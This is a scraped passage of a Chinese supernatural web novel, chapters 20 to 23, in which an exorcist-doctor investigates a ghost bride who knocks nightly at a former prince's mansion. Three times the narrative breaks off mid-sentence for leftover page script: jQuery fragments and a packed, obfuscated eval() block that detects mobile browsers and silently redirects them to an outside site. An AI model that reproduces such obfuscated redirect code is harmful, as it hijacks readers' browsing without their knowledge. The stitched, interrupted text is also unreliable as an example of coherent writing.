$(''.inform'').remove();
$(''#content'').append(''
p>
“听你这语气,应该是知道敲门的人的身份?”
“你说什么啊?!我什么都不知道!”
“这样吧,周先生。你可以把这面镜子挂在门头上,等到晚上拿东西再来敲门的时候,应该能从镜子里看到他。”
男人递过去了一面镜子,曲通幽盯着镜子看了很久,终于确定这镜子就是上一个梦里挂在他那医生办公室里的那面镜子。
这次她看得清楚,这面镜子边缘的那些字符中,有一部分和她脑海中浮现出的那根文明杖上的一样,哪怕是没见过的也应该是属于同一个体系。
周明玉犹犹豫豫着把镜子接了过来,他的目光中充斥着不信任,但更多的是一种压抑的恐惧,仿佛是惧怕自己一直担忧的东西会成真一样。
云层快速流转,天色黑了下来。
师寂明一直没有走。他的目光落在宅院大门口。那里的门上挂着一面镜子,门口蹲着一个人。
但奇怪的是,镜子里照不出师寂明的人影,在门口一间小屋里趴在窗口看的周明玉也好像看不到他。
这一夜月色很好,这个世界的人好像没什么夜生活,半夜时分明月高悬,大宅门前方的街道明晃晃空落落的,像是一条鳞片都在发光的沉睡白蟒。
空旷的街道尽头,突然响起了一阵脚步声。
啪嗒——嘶——啪嗒——
声音很奇怪,像是一个一条腿都瘫软的跛子,拖着一条残腿在地上一瘸一拐地走。并不大,但因为过于安静,所以声音非常清楚。
但曲通幽看了看蹲在门口满眼血丝的周明玉,男人一动不动,显然是并没有察觉到这声音。
忽然间,周明玉抽了抽鼻子,疑惑地抬起头来,朝着街道尽头看过去。
曲通幽也明白他发现了什么,因为就在同一时刻,她也闻到了空气中淡淡的腐臭味。那是烂了很久的枯骨和墓土混合的味道。
街道尽头终于出现了一个人影。
那人影套着一件早已经沤烂只能隐约看出是红色的裙子,乱蓬蓬的长发扑在脸上,看不清脸的细节。不过曲通幽也完全不想看清细节——那人影露在外面的手脚已经只剩黄白的筋膜连接着,想来脸上应该也差不多。她的左腿膝盖以下都是断掉的,正拖在地上,缓慢随着步子往前挪。
月光明亮,四下无人,只有这形容可怖的鬼拖着一条残腿在街上行走。她目标明确地走向那座大宅,距离周明玉已经很近了,那腐臭的气味让他皱起眉,可他还是什么都看不到。
女鬼来到了大门前,抬起手,用尖尖的指骨轻轻叩着红漆木门。
笃——笃笃——笃——
和周明玉描述的一样的敲门声响起来。他这才惊恐地睁大眼睛。男人慌乱地抬头,看向提前挂好的镜子。然后瞳孔遽然放大。
这镜子原本是白茫茫一片什么都照不出来的,可是现在,镜面却映出了一张只剩两个空洞眼眶的腐烂的脸,透过镜子和抖若筛糠的周明玉对视在一起。
20.020
周明玉本来应该是想要尖叫出声的,但在关键时刻,他把两根手指猛地塞进了嘴里,狠狠咬住自己的手止住了那一声叫。
不能被它发现,也许这一眼只是巧合,这东西的眼睛都没有了,只要自己不发出声音,也许它就这么走了……
周明玉在心里疯狂祈祷着,而那女鬼居然真的只是看了他一眼,随后就继续用指甲叩门了。
三次敲门之后,她忽然穿门而过,进到了院子里。紧接着,第二道门远远又传来敲门声。
院子里除了敲门声安静极了,其他人家都在沉睡中,只有周明玉才能感受到这极致的恐惧。听着那声音越来越远,周明玉悄悄从那个本来是门房的小屋里溜了出来,想要趁机逃得远远的。
他没有注意到,可能已经来到最里面的卧室门口的敲门声突然停了。
师寂明突然动了下,他从之前站着的阴影里走出来,站在月光下,身体在街面上投出长长的影子来。
正在往外爬的周明玉忽然往这边看来,目光里透着极度的惊恐。
曲通幽一开始以为是他突然能看到师寂明了所以惊恐,可很快就发现不对,周明玉的眼睛是微微往上翻的,好像是屋顶的什么东西吸引了他一样。
师寂明也抬了下眼睛,于是曲通幽也跟着看到了那东西。
瓦片掉落的屋檐下,有一团黑乎乎的圆形东西。猛一看会觉得那是个燕子窝,可今天月色很好,随着那黑影越来越大,曲通幽也看清楚了,那是一颗从上面伸下来的女人头。
瓦片层薄薄的,可上方好像是另外一个空间一般,女人的身体藏在上面,像一条黑蛇一样缓缓探身下来,长发垂落的头背对着他们,但肯定是正对着已经瘫软的周明玉的。她的肩膀也露了出来,两只手伸出,越伸越长,指甲在周明玉已经闭起来的眼皮上点了点。
这一刻,曲通幽忽然明白了女鬼为什么会突然出现。
周明玉说过,这个女鬼最开始敲的是最外面的门,后来就进了院子,离他越来越近。算算时间,差不多也到了来到他面前的时候了。
这一次敲的是眼皮,那下一次呢?是里面的眼睛,还是……更里面的东西?
伴着一声鸡鸣,女鬼突然地消失在了眼前。可周明玉显然也意识到了这点,他仍然坐在地上半天起不来,脸上露出了极端的恐惧之色。
“呵。”
曲通幽听到师寂明突然发出了一声意味不明的轻笑。他并没有上前帮助周明玉的意思,而是悄无声息地退走了。曲通幽不知道他用了什么办法,也许自始至终周明玉都不知道自己一直被注视着。
男人很快就再次找到了师寂明,这次他死死抱着那面镜子,神情也更加慌乱。
“师医生,我……我看到了那个。你其实不止是心理医生吧?你救救我,多少钱我都给你!”
“周先生,据我所知,你是普通农民家庭出身,哪里来的这么多钱?”
“这个你不用担心,我砸锅卖铁也会把钱凑出来的!”
“你不必这么急切,其实与其来向我寻求帮助,不如你自己想办法——周先生,你其实也是知道敲门的是谁吧?”
“……我不知道。不,原来我以为自己是知道的,可是现在,我……我不知道了……”
“嗯?”
“是这样的,我是历史系的学生。我在学校图书馆里偶然发现了一本旧书,上面记录了一些永定市的大家族史。正好我现在租的这个大杂院以前是个王府,我就多了解了一部分这些内容。这是前朝的一位王爷,姓胡,封号永吉,是个手里没什么实权的纨绔子弟。后来因为得罪了皇帝,一家子都被满门抄斩了。当时他还有个小儿子,没成亲,在外地求学。因为是王朝末年了,礼崩乐坏,当地的官员为了省事,直接就在那边把这个小儿子的头砍掉了。所以我怀疑……怀疑是这个人死在了外面,魂魄一直想要回家,才……可是昨天晚上,我看到的鬼是个女人啊!!这肯定不是他,我全猜错了!!”
“你真的是住在这里之后,才知道王府的事的吗?”
“你什么意思啊?!我跟你说的这些话,你完全抓不住重点吗?!”
“请不要介意,我只是随便问问。请你把那本书的名字告诉我,然后先回去等消息吧,我会往永吉王这方面查一下的。”
“你就这么让我回去?那个女鬼……那个女鬼昨天已经来到我面前了,她要是今天晚上再来,我就,我就……”
“请你不用担心,把那面镜子给我吧。
师寂明几乎是从周明玉死死攥着的手中夺回了镜子。他走到墙边的架子旁,从上面的一个藤编圆罐里取出了一个蜡块。在火上微微融软,然后按在了镜子边缘的金属花边上。等到蜡块重新提起来,上面已经印上了几个符号。
“你把这个带在身边,要是那个女鬼再来找上你,就把蜡块化掉,能帮你一次。不过我还是要提醒你,这件事情要怎么解决,你比我清楚。”
“我知道的都告诉你了,我怎么会知道这种事怎么解决啊?!”
雾气升起,渐渐淹没了周明玉的叫嚷。
“王老师,打扰了。我是师寂明,之前和您约好的。”
“啊?哦,你是师……哦,是小祁介绍来的那个医生吧。”
“是的,我听说您研究的方向是天启史,所以想咨询您一些问题。您知道胡丰年这个人吗?“
“胡丰年啊,要是天启朝胡丰年的,那应该是末代帝王那个谋反的兄弟,永吉王的第四子。不过你一个心理医生,怎么会想要了解这方面的事?”
“是我遇到了一个病例,总觉得自己是永吉王转世,我想了解相关的历史,好进行针对性治疗。”
曲通幽:…
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357163|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…
他这个一本正经的语气让曲通幽不由得沉思起来,是不是在自己不知道的时候,师寂明真的接诊过这么以为幻想自己是王爷的病人?
别管她信不信,对面的老先生显然是信了,他有些震惊,但却开始认真科普起了那个胡丰年的事情。
曲通幽发现,这个梦境世界的历史和自己的世界有点相似,但重要人物和历史事件都完全不同。比如,他们九十年代才结束近代战争,但刚建国三四年就已经有了移动电话和家庭电脑这类物件。再比如,曲通幽的世界根本就没有他们说的“天启朝”。
在这位王老师的叙述中,天启朝是这个世界一个强盛的大一统王朝,只是建朝一百多年,还是不可避免地陷入了衰落。末代帝王天哀帝有十四个亲兄弟,没有一个落得好下场的,永吉王只是其中最不起眼的一个,胡丰年更是鲜有人知。还是这位王教授博学广知,才从文献的犄角旮旯里翻出一点记载。
末代永吉王是个纨绔,可第四子胡丰年却和他爹不同,从小聪慧勇毅,文武双全。等到年长些遇到了乱世,他又主动请缨带兵平乱。据说胡丰年治军森严爱民如子,如果不是后来家里被卷入了谋逆纷争被杀,很多人觉得他是有可能给天启朝续一波命的。
“您也这么认为吗?”师寂明问道。
王教授迟疑了一下,又看了两眼师寂明,才慢慢说道:“这种史料很少的人物,在没有新的证据被发现之前,一般是不会有人提出质疑的。但是,你既然是想要问问病例嘛,我可以给你讲一下我的推测。我觉得,那个胡丰年未必有史料记载的那样完美。”
“能详细说说吗?”
“唔,你也知道,那时候已经是王朝末年,县官都能杀王子。那胡丰年要真是跟传说中一样智勇双全爱兵如子,圣旨来的时候他手握兵权,当时怎么也不可能对付不了一个要违抗圣旨就地斩杀他的小小县官。这从理智上来说不合理。但是嘛,历史上本来就有很多不合理的是,所以这也只是我的推测而已。”
“您说的很有道理,我也觉得是这样。”
“哈哈哈,咱们私下里讨论,小同志不要太当真。”
“我还想问个问题,胡丰年的尸体最后葬回家乡了吗?”
“这个没有记录,但我觉得,应该是回去了的。毕竟哪怕是罪人,胡丰年也算是皇亲国戚,那时候皇权尚在,是不会让他埋骨他乡的。”
“我还有最后一个问题,胡丰年真的终生未婚吗?永吉王那一支有没有可能还有后代流传下来?”
“那个时代男人的未婚指的仅仅是没有三媒六聘的正妻,可胡丰年的身份,应该是有过妾室通房的。至于后代……后来天启朝都亡了,永吉王有没有后代也就无人知晓了。”
“我知道了,非常感谢您的帮助。”
“不客气。有什么问题随时来找我。”
21.021
“师医生,我……昨天晚上那个女鬼又来找我了……”
“你看起来状态还可以,周先生。”
“是的,多亏了你给我的那个神符。她敲门来到了我的屋里,朝我伸手想要把我的眼睛挖出来。我当时都以为要死了……那块蜡突然融化了,在我面前拦了一条线,那女鬼就没法再靠近我了。她也不肯走,一直到天明鸡叫才离开。”
“那不是神符……”
“没关系!师医生,你能不能多给我一点?我给你钱!”
周明玉从衣服里摸出一个蓝布包出来,抖开来,里面就是一叠曲通幽不认识的钞票。
师寂明却并没有把钱接过来,他的目光甚至只是扫了一眼桌上的蓝布包,就继续静静看着周明玉。
“真的是好大一笔钱呢。周先生,我听说你家庭状况并不是太好吧?”
“是……是的,这是我勤工俭学赚的,我爸妈也支持了一部分……我们家就我一个儿子,只要你帮我解决了这问题,事后也必有重谢!”
“我说过,解决这问题的根源还在你身上。”师寂明打断了周明玉的话,“周先生,你回去之后有没有想起来这个女鬼的身份?”
“没有……”
“我倒是调查出了一些问题,关于那座王府原主人之一胡丰年的。他确实是死在了外地,而且,他正好死在你的家乡。”
“我……我家?我家是寿城县的。可是我根本和那胡家没关系,为什么找我……”
“据我所知,你的家乡有一种风俗,叫喊骨,你知道吗?”
“听说过。就是我们那要是有人死在了外面,还没法把全尸带回去埋葬的,家里人就会去他死的地方把骨灰捡回来,要是连骨头都没有了就挖一捧土,带到家乡之后喊死人的名字,连喊七声,就能把对方的魂魄喊回来,然后和带回来的骨灰或者泥土一起安葬。可……那也就是风俗,是封建迷信。”
“呵,你都见过真正的鬼了,还觉得那是封建迷信吗?”
“那是……你说这个有什么用?就算这风俗是真的,喊骨的也该是胡丰年才对,怎么会是个女鬼找过来?”
“这确实是个问题,所以接下来我会去寿城县调查一下那个女鬼的事情。如果她和喊骨有关,还得知道她的名字才行。不过我还是要提醒你,周先生,请你好好想一下,自己到底做过什么亏心事,才会让那个女鬼找上你。”
“我……我真的没有……”
笃笃笃——
“周先生,我有客人来了,你请回去吧。”
周明玉站起来,他张了张嘴,似乎是想要说什么,可还是什么都没说,离开了这座宅子。
门外进来的是个留着板寸的精神小伙,穿着件粗布衬衫,和周明玉擦肩而过的时候,有点好奇地回头看了他一眼。
“遥空,你先坐,我给你倒杯茶。”师寂明把精神小伙迎进来,转身去煤炉上拎起水壶,往白色搪瓷杯里放了一撮茶叶。态度比之前应付周明玉要好得多。
“哎哟,明哥你别叫我那个名字了。我现在叫前进,祁前进!”小伙连忙摆手道,“明哥你是不知道,我原来那个祁远山的名儿在我们厂里就已经够奇怪了,更别提家里还给起了个遥空的字……唉哟现在哪还有人有字的啊!明哥啊,我说你没个正经工作还好,但凡做个工人什么的,你的名字也得被人笑话!”
这还是个话痨。师寂明一句话没说,他已经叭叭把自己的名字和工作交待完了。
师寂明默不作声给他倒了茶,现名祁前进的小伙儿吨吨喝了两口,突然问道:“刚才那个就是你让我打听的人?”
“嗯。查到什么没有?”
“不少呢。那人果真不是个老实的,他是四十多天前住进去的,比闹鬼要早。其实他学校里有宿舍,可还是想办法住进那个宅子里。而且我还找到了他看过的那本书,书里可不止是记录了永吉王府的事,还提到了当初查抄永吉王府的细节——有一大笔金银细软没找到。我看那小子就是冲着宝藏来的,他的钱肯定也不是干净的。搞不好,那女鬼就是永吉王府的女眷,看见他偷自家的钱才找上门的!”
师寂明认真听完,然后轻轻摇头:“你推测得有道理,但我总觉得不是这样。”
“你就那么信他?明哥你听我说,现在别看大学生都是什么天之骄子,可那些人里面坏种可不少。”
“我不是信他的人品,是信他的能力——天启朝到现在也有一百多年了,一百多年都没人找到的宝藏,周明玉那个人不可能找到的。”
“那他的钱是哪来的?女鬼又是谁?”
“不知道,我打算去寿城县一趟,查查胡丰年当年的事。”
“行啊,那明哥我先去上班了,你需要什么尽管找我!”
祁前进开朗的冲他挥挥手,师寂明却忽然叹了口气。
“遥空,你是真不打算回来了吗?”他仍然坚持喊那个名字。
“回去干嘛?明哥,你听我一句劝,这世道变了,玄门都不行了,咱们还是要尽快恢复正常生活。不行,我真得走了,不然组长又要说我。回见啊!”
师寂明盯着小伙的背影看了很久。
“恢复正常生活……可我本就从未正常过,谈何恢复?”
师寂明又坐上了火车。
这一路感觉比上个梦里还要漫长,虽然没有反复倒车到牛车,但火车上至少摇晃了三天三夜。最后他停在了一个小县城的车站里,曲通幽看到了“寿城县”三个字。
“热麻糖,热麻糖喂——”
“地图要不要?兄dei来看看哈!做生意必备!”
“南方来的牛仔裤,喇叭裤!新品打折!”
寿城县要比之前去的双凤县热闹得多,师寂明漫步在人群中,他没有理会任何人,可架不住有人偏要盯着他。
“嘿!小哥小哥,你是来找工作的不?看你这一表人才的,我跟你说,别进那什么工厂,来我们夜总会啊!一月五百块打底,轻松自由,不比那当牛做马才100多块的工厂强?”
一个贼眉鼠眼的男人溜出来拦住了他,师寂明低头瞥一眼,又绕过他继续走。
“别走啊!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15369011|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我真挺看好你的,不来我们这工作也行,留个联系方式啊!我跟你说,这寿城县大小的事,就没有我马三爷不知道的!”
他这么一说,师寂明倒真的停下了脚步,问道:“我是个历史老师,听说天启朝永吉王的小儿子胡丰年死在你们这,你知道相关的事情不?”
“啊??这……”男人傻眼了,看师寂明又要走,急忙一个闪身又拦住他。“别介,兄弟我看出来了,你是正经人,正经门路我也认识啊!我知道有个瞎眼老头,一百多岁了,那天启朝不也是一百多年前的事吗?你问他,他都知道!就是这个中介费……嘿嘿……”
师寂明果然停下了脚步,他看了一眼那自称马三爷的男人,手慢慢伸进包里,摸出了一沓钞票。在男人面前晃一圈,道:“带路吧。”
马三爷眼睛都看直了,忙不迭转身,谄媚地吆喝着:“大哥,这边走啊!”
曲通幽以为这一路上这个一看就不是好东西的男人会做些什么,但可能是碍于师寂明过分的淡定,他就这么老老实实把人带到了一个四面漏风的破屋子前。
曲通幽一开始以为屋前堆着一堆散碎的青砖,等走近了才发现,那是个倚着墙歪坐着的老头子。因为太老了又一动不动的,所以看起来简直变成了环境的一部分,而不像是个活人。
“老干!别睡了,我给你带了个生意来!这是个外地来的历史老师,想和你打听一下天启朝的事!”马三爷吆喝道。
老头睁开了眼睛,那双眼皮下面是一双白色的眼珠子,也不知道是白内障还是什么别的疾病,一对眼珠子就像是死鱼眼一样看不到一点光了。
“老人家,你好,我叫师寂明,不知道您怎么称呼?”
“啊?啊!我叫干云霄!你想问啥?”老头声音倒是挺中气十足的,跟他的名字一样大气。
“我听说,天启朝那个永吉王的小儿子,当初是在寿城县死的,想问您知道当时的事吗?”
“你脑子坏掉啦?胡丰年105年前没的,我今年103岁,那种事我怎么会知道?”干云霄不客气地教训道。
对周明玉和马三爷都很轻慢的师寂明却并没有生气,他平和道:“干先生,一般人应该都不会知道胡丰年是谁吧?您虽然没有亲眼见过他的死亡,但能立刻知道这个人是谁,应该也是知道一些内幕的吧?”
干云霄用那双死白的眼珠子盯着他,好像他真的还能看到什么似的。
“你说得没错,我确实听说过一些事。”他慢吞吞说道,“我出生的时候,那个胡丰年已经死了。可我爹当时见过他是怎么死的——就在庙头路的那个卫生所前面,原来可是县衙。我爹当时才十几岁,混在人群里看那个小王爷被砍了头,血流得一地都是——嗬,那时候还是有皇帝的,平头老百姓谁见过王爷被这么砍?我爹这辈子没什么见识,那件事他,还有当时县里的人都反复吹。”
“后来胡丰年的尸体去了哪里?”
“被人拖走了吧?那之后没几个月,县里就乱起来了,县太爷都带着家眷跑路了,多半就是丢掉了县城外的乱葬岗上。”
22.022
干云霄说的时候,马三爷也一直站在旁边没走。那双小眼睛里闪着光,时不时惊叹一声,感慨一句原来自己一直住的地方还有过这等大事。末了,马三爷忽然一拍大腿:“我想起来了!我原来的邻居总是吹嘘他们家出过王妃呢,莫不是这个胡丰年的小老婆吧?”
干云霄思考一会儿,缓慢摇头:“我爹没说过这事,你那邻居我倒是记得,他爷爷是个癞子,人又混,到了四十多家里才靠卖女儿给他找了个老婆。”
“可不是吗!他爹也差不多,还爱打老婆,没多久老婆就跑了。我那邻居就没人管了,后来就成了个疯子,要不是现在新社会还顾着他,恐怕早就死了!”
他说得唾沫横飞,彰显着自己也是有见识的人。没留意到师寂明的目光已经移到了他身上。
“这是说好的钱。”师寂明把一叠钞票递给了马三爷,接着,又掏出一沓更厚的晃了晃,“带我去找你那个邻居,这些钱就是你的了。”
马三爷大喜,劈手夺过那一叠钱,涎着脸道:“放心吧,我那邻居虽然疯了,可偶尔也有清醒的时候,保证给你找到人!”
他乐颠颠拔腿就走。可还没走出两步,却突然被身后的老人叫住了。
“马小三,你认识那后生吗?”
“不认识!火车站见到的,一看就是个肥羊。我先去了!”
“那你可小心点,那后生可不是普通人。”干云霄幽幽道。
马三爷停住了脚步。他回头看去,只见干瘪老头瞪着一双白色眼珠子,准确地落在师寂明的背影上。
“您老都看不见,能知道他是什么人?”马三爷不屑道。
“我看不见人,但能看到将死之人。我已经快死了,而那个后生身上,有跟我一样的死气。”干云霄抬起手,点了点自己的眼睛,“那人过不久就要遭遇不测,你离他太近的话,小心被牵连。”
马三爷看着老头,忽然感觉到一股从背后蹿起来的冷意。可他又回头看了看师寂明已经快要消失的背影,按了按口袋里那一沓钱,还是咬牙追了上去。
曲通幽把这一切都听得清清楚楚。
她现在是借用了师寂明的感官,也就是说,这个男人不知道有什么神奇的能力,隔了这么远,也能把背后的动静完全感知到。
那老头说得话有点骇人,可师寂明却好像完全不在乎一样,继续淡定地往前走,就这么一直走到了一片居民区。
“我那邻居姓涂,本来应该是有个正经名字的,可他疯了也就没人记得了,都管他叫涂二,你也这么叫他就行。有时候他会有反应……你看,正好他就过来了。”
远处哒哒哒跑来个人,边跑两条胳膊还一边挥舞着,活像个山里的吗喽。路边有妇女泼了一瓢水,他看到了,就啪嗒啪嗒踩到水坑里,边踩边喊着什么。
“涂二,涂二!”
那人对马三爷置之不理,曲通幽倒是听清了他在喊什么。
“二妮!二妮回来了!”
“涂二,你他妈别疯了,快点过来,有贵人要找你!哎哟!”
他踩着水跑过来,直接撞了马三一下,溅了他一裤腿的脏水。马三骂骂咧咧着,声音还是被涂二的疯话压了下去。
“二妮回来了没?二妮回来了!咚咚咚!咚咚咚!!爹让我不要开门!”
师寂明伸手拦住了想要发火的马三,静静听了一会儿涂二的叫嚷,忽然问道:“涂二有女儿吗?”
“哪儿可能啊,他一个穷鬼疯子,怎么会有女人看得上他。”
“那他有姐姐吗?或者其他女性亲属?”
“这倒是有,他有个姑姑。当初他爸娶媳妇就是靠自己亲姐姐换的彩礼。”
“他的父亲和姑姑还在吗?我能不能见见?”
“都死咯,打仗的那些年,死的人可太多了。那个……我也算是带你见过涂二了,他疯疯癫癫我也没办法,那个钱……你还是会给的吧?”马三小心翼翼问着,可能是被刚才干云霄的话吓到了,他面对师寂明再也没了最开始的随意。
师寂明随手把装着全部钞票的包丢给了他,眼睛仍然一眨不眨盯着涂二,轻声问:“二妮是谁?”
“是……二妮在门外!二妮敲门了,爹捂着娘的嘴,娘不出声了,爹说,不要开门,死都不能开门!咚咚咚!咚咚咚!”
他声音渐渐高亢,特别是喊到最后那几声咚咚的时候,马三都因为不舒服而忍不住掏了掏耳朵。
“二妮……叫什么名字?”
师寂明的声音突然变得轻柔而缥缈,柔滑得像是乐师轻轻拨起自己刚抹了蜂蜡的琴弦。对面的涂二也停止了手舞足蹈大喊大叫,乱蓬蓬的头发下面的表情变得恍惚。他沉默了好一会儿,两片蚌壳一样的嘴才艰难开启,吐出了三个字:“涂秋芳。”
“还是你厉害啊!这都能问出来?不过涂秋芳到底是谁啊?我从来没听过这人!”
马三的咋呼声逐渐远去。师寂明仿佛已经得到了自己此行的答案,火车站的喧闹声音重新在雾气中响起。像是一段让人昏昏欲睡的白噪音。
师寂明买了票,提着手提箱和人流一起进站,身后却突然传来了尖叫声。
“死人了——”
“他们突然打起来了!这个男的说另外一个骗了他,他媳妇被他骗去当了小姐,扯着他让他把人还回来。这人不肯,他突然就掏出了刀捅了这人!”
“好多血……已经没气了……”
“死的这个人我好像认识……叫马三爷,是个混子,整日在火车站骗人骗钱的……”
“他家里人呢?有没有人来认尸?”
人影晃动,窃窃私语和尖叫频起,周围的景象仿佛变成了一场光怪陆离的梦。师寂明混在人群里,他个子高,越过一众头顶,看到了倒在血泊中的男人。
那是刚才还见过的马三。他的胸口插着一把刀。
他的眼睛还
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378946|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
睁得大大的,似乎是不敢相信自己就这样死了。那双眼睛倒映着人群,也映出了站在后排的师寂明的模糊的脸。
在那一点小空间里,曲通幽当然是看不清自己附身的人的长相的。但也不知是不是因为周围光影太过混乱,在马三的眼睛里,她竟然好像看到了在师寂明身后密密麻麻站满了人。
每一道人影都面目模糊,鬼气森森。其中一道影子身形猥琐佝偻,乍一看上去,竟然有些像倒在地上的马三。
曲通幽想起了之前干云霄说过的话。
难道这个马三真的是被师寂明牵连而死的?可他明明又是死于与人争端……
“周先生,你好,几天不见,你看起来好一些了。”
“我已经找到解决那个女鬼的办法了。”
“哦?周先生,恕我提醒一句,现在玄门式微,外面倒是有很多招摇撞骗的骗子。”
“比如你这样的是吗?呵呵,说得那么有模有样,我看你就是想骗我钱!这事不用你操心了。我就是想跟你说一声,没有你这张屠户,我也不用吃带毛猪!”
“你去挖了永吉王的墓,对吗?”
“你……你胡说八道些什么?!”
“你没发现吗?你的身上一股墓土味道。不过你发现不了也正常,毕竟你已经习惯了这种味道,甚至选择住在永吉王府也是为了那里的宝藏吧?”
“我……我那是……呼,行吧,我……我买了一点土。我自己没有去!我从那些人……经过了很多中介,买了一点胡惜灵墓头的土。”
“胡惜灵?”
“是永吉王府的女儿。我查了资料,抄家那年她十九岁,刚刚出嫁也没躲过去。正好晚上的女鬼也是穿着红嫁衣,年龄也差不多符合。所以,每天晚上回来的人肯定是她了。”
“你是想要喊骨吗?”
“不然呢?既然鬼都是真的,我家那边流传的习俗肯定也是。女人出嫁了不还是想回家吗?只要让她能入土为安,这事就解决了!”
“呵。”
“你笑什么?”
“周先生,你有姐姐吗?有几个?”
“……”
“不瞒你说,我也刚从寿城县回来。路过你的家乡,得知你的家庭比较贫困,甚至一度无法支持你继续深造。只是后来家里突然多了一笔钱,才让你能来到这里念大学。”
“……这和你有什么关系?!我家又没犯法!”
“和我关系确实不大。只是,我提醒过你很多次,女鬼找上门的原因在你自己身上。既然你不愿意去面对真正的病因,那我也只能祝你一切顺利了。”
“你威胁我?!我告诉你,我这次找到了真正的高人!黄家你知道吧?他们家出过好多大师的!还给皇帝当过国师,我……”
“请回吧,我们有缘再见。”
砰!
“如果还能活着再见的话。”师寂明看着被关上的门笑着说道。
23.023
这夜是瓢泼大雨。
还是那座旧日王府。师寂明撑着一把黑伞,在雨中慢慢朝王府最深处的屋子走去。
院落里还放着不少生活用品,表明这里住着不少户人家。可每一间屋子里却都是漆黑的,甚至连呼吸声都被哗啦啦的大雨盖住了。天地之间一片死气沉沉的黑。
曲通幽一开始还非常警惕,觉得周围随时有可能扑出来一只鬼。可时间久了她也懈怠了,仗着自己真身并不存在于此随心所欲发呆。
雨幕遮蔽了一米之外的景物,曲通幽能看得最清楚的只有男人撑伞的那只手。骨架相当漂亮,上面覆盖着一层莹润如冰雪的肌肤,虎口处一点红痣像是血色的玉沁,妖艳中带着点让人不安的诡异。
看得久了,她才突然发现,师寂明握着的这把伞柄不太对。伞柄的形状,以及上面的雕花,都似曾相识……
这不是飞蛾梦里他拿着的那根文明杖吗?!
那个梦里她看到的已经是光秃秃的一根棍子了,可在这里,明显这根棍子是和那把黑伞一体的。所以,文明杖的本体应该是一把伞的伞柄,只是后来不知发生了什么事才变成了一根棍子?
这么说,现在的时间点应该是在上一个梦之前咯?师寂明也是后来才变成了登平县的一名心理医生?
她梳理着自己的两个梦之间的逻辑,不知不觉中,男人已经来到了最后一间房的外面。
这间屋子里,倒是亮着一点小小的烛光。透过窗户,还能听到里面低声交谈的声音。
“……筷子插在米上,绝对不能倒下。”
“喊她的名字,先喊三声,等她敲门进来之后再喊剩下的四声。我会趁机把她困住。到时候你再把筷子拔出来,刺进她的眼睛。”
“刺进眼睛?”
“对,只有这样我才能制住她,让她……”
师寂明已经来到了窗下,可里面的人却毫无察觉。透过模糊的玻璃,能看到其中一个人是周明玉,另外一个则是个穿着杏黄道袍看起来仙风道骨的男人,手持一把桃木剑,一脸严肃地对周明玉叮嘱着什么。看来这就是他请来的那个“大师”。
笃——笃笃——笃!
瓢泼大雨中,这几声敲门声仍然分外清晰,像是直接敲在了人的心头上一样。周明玉开始发抖,那个道士的神情也严肃起来。
一道人影从院门外走了进来,大雨倾盆,女人的长发紧紧贴在那张干枯的脸上,一只苍白的眼珠子从发隙里露出来,骨碌碌快速转动着。她来到了第二进院前,抬手敲门,接着是第三进院子。
转眼,女鬼已经来到了他们面前。有了之前周明玉的说辞,曲通幽这次特意注意了一下,果然发现那女鬼身上只能依稀看出是红色的破烂衣裙确实是一件红色的嫁衣。
女鬼最后就站定在师寂明面前,她抬起手,森白的指骨敲响了最后一扇木门。
她仍然是看不到师寂明的。但是男人却忽然换了个站姿,手中的黑伞似是无意往女鬼那边偏了一下,正好为她挡住了头顶的雨。
笃——
敲门声响起,屋里的周明玉也紧张地开始按照道士的指示操作了。
“胡惜灵,胡惜灵,胡惜灵!”他连喊三声,屋门也在这个时候被敲开。女鬼拖着跛脚走进来。
周明玉额头上已经满是冷汗,那个道士也是严阵以待。他手中挥舞着桃木剑,脚下踏着罡步,嘴里念念有词着什么。在道士的提醒下,周明玉继续念着胡惜灵的名字。等到四遍念完,道士手中桃木剑猛地刺出,剑尖突然就多了一道画着朱砂的黄符。
“定!”他大喝一声,黄符正好贴在了女鬼的眉心处。
“八方鬼神,听敕护驾。胡惜灵,速速归去!”
女鬼的动作定住了,就像是真的被他控制住了一样。周明玉拖着发软的手脚,拔出桌上那碗米饭上的筷子,按照之前道士的吩咐,就要把筷子插进女鬼的眼眶中。
可就在这一刹那,周明玉和道士都因为女鬼的停顿而放松的时候,女鬼却猛地一挥手,胳膊像是一根铁棍一样抽在了周明玉身上。男人的身体飞起砸中了道士,两个人一起重重撞到了墙上。
噗!
周明玉张口喷出一道鲜血,还夹杂着肺叶的碎片。他目眦欲裂地瞪着朝自己一步步走来的女鬼,呻.吟道:“怎么会……为什么……”
道士的情况比他稍好一点,可神情也慌张极了。他喃喃着:“怎么会呢?为什么会这样?你确定这人叫胡惜灵?”
